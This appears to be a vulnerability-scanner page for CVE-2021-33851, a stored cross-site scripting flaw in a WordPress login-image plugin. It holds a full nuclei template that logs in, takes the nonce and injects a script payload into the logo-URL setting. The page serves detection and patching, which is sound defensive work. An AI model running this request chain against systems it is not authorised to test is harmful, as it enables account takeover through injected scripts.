Browse / CVEs / CVE-2021-33851
CVE-2021-33851· apasionados / customize login image· CWE-79
WordPress Customize Login Image <3.5.3 - Cross-Site Scripting
WordPress Customize Login Image plugin prior to 3.5.3 contains a cross-site scripting vulnerability via the custom logo link on the Settings page. This can allow an attacker to steal cookie-based authentication credentials and launch other attacks.
Impact
Successful exploitation of this vulnerability could lead to cross-site scripting (XSS) attacks, allowing an attacker to execute malicious scripts in the context of the victim's browser.
Fix
Update to the latest version of the WordPress Customize Login Image plugin (3.5.3) to mitigate the vulnerability.
How to confirm it
Send: POST /wp-login.php ; GET /wp-admin/options-general.php?page=customize-login-image/customize-login-image-options.php ; POST /wp-admin/options.php ; GET /wp-login.php
Positive when: status_code_4 == 200 and contains(header_4, "text/html") and contains(body_4, "Go to <script>alert(document.domain)</script>")Run it with nuclei: nuclei -id CVE-2021-33851 -u <target>
The full check
id: CVE-2021-33851
info:
name: WordPress Customize Login Image <3.5.3 - Cross-Site Scripting
author: 8authur
severity: medium
description: |
WordPress Customize Login Image plugin prior to 3.5.3 contains a cross-site scripting vulnerability via the custom logo link on the Settings page. This can allow an attacker to steal cookie-based authentication credentials and launch other attacks.
impact: |
Successful exploitation of this vulnerability could lead to cross-site scripting (XSS) attacks, allowing an attacker to execute malicious scripts in the context of the victim's browser.
remediation: |
Update to the latest version of the WordPress Customize Login Image plugin (3.5.3) to mitigate the vulnerability.
reference:
- https://wpscan.com/vulnerability/c67753fb-9111-453e-951f-854c6ce31203
- https://cybersecurityworks.com/zerodays/cve-2021-33851-stored-cross-site-scripting-in-wordpress-customize-login-image.html
- https://wordpress.org/plugins/customize-login-image/
- https://nvd.nist.gov/vuln/detail/cve-2021-33851
- https://github.com/ARPSyndicate/kenzer-templates
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
cvss-score: 5.4
cve-id: CVE-2021-33851
cwe-id: CWE-79
epss-score: 0.01318
epss-percentile: 0.71062
cpe: cpe:2.3:a:apasionados:customize_login_image:3.4:*:*:*:*:wordpress:*:*
metadata:
verified: true
max-request: 4
vendor: apasionados
product: customize_login_image
framework: wordpress
tags: cve,cve2021,wpscan,wordpress,customize-login-image,wp,authenticated,wp-plugin,xss,apasionados,vuln
http:
- raw:
- |
POST /wp-login.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
log={{username}}&pwd={{password}}&wp-submit=Log+In
- |
GET /wp-admin/options-general.php?page=customize-login-image/customize-login-image-options.php HTTP/1.1
Host: {{Hostname}}
- |
POST /wp-admin/options.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
option_page=customize-login-image-settings-group&action=update&_wpnonce={{nonce}}&_wp_http_referer=%2Fwordpress%2Fwp-admin%2Foptions-general.php%3Fpage%3Dcustomize-login-image%252Fcustomize-login-image-options.php%26settings-updated%3Dtrue&cli_logo_url=<script>alert(document.domain)</script>&cli_logo_file=&cli_login_background_color=&cli_custom_css=
- |
GET /wp-login.php HTTP/1.1
Host: {{Hostname}}
matchers:
- type: dsl
dsl:
- 'status_code_4 == 200'
- 'contains(header_4, "text/html")'
- 'contains(body_4, "Go to <script>alert(document.domain)</script>")'
condition: and
extractors:
- type: regex
name: nonce
group: 1
regex:
- 'name="_wpnonce" value="([0-9a-zA-Z]+)"'
internal: true
part: bodyReferences
- https://wpscan.com/vulnerability/c67753fb-9111-453e-951f-854c6ce31203
- https://cybersecurityworks.com/zerodays/cve-2021-33851-stored-cross-site-scripting-in-wordpress-customize-login-image.html
- https://wordpress.org/plugins/customize-login-image/
- https://nvd.nist.gov/vuln/detail/cve-2021-33851
- https://github.com/ARPSyndicate/kenzer-templates
Use this check only on systems you are authorised to test. Where the data comes from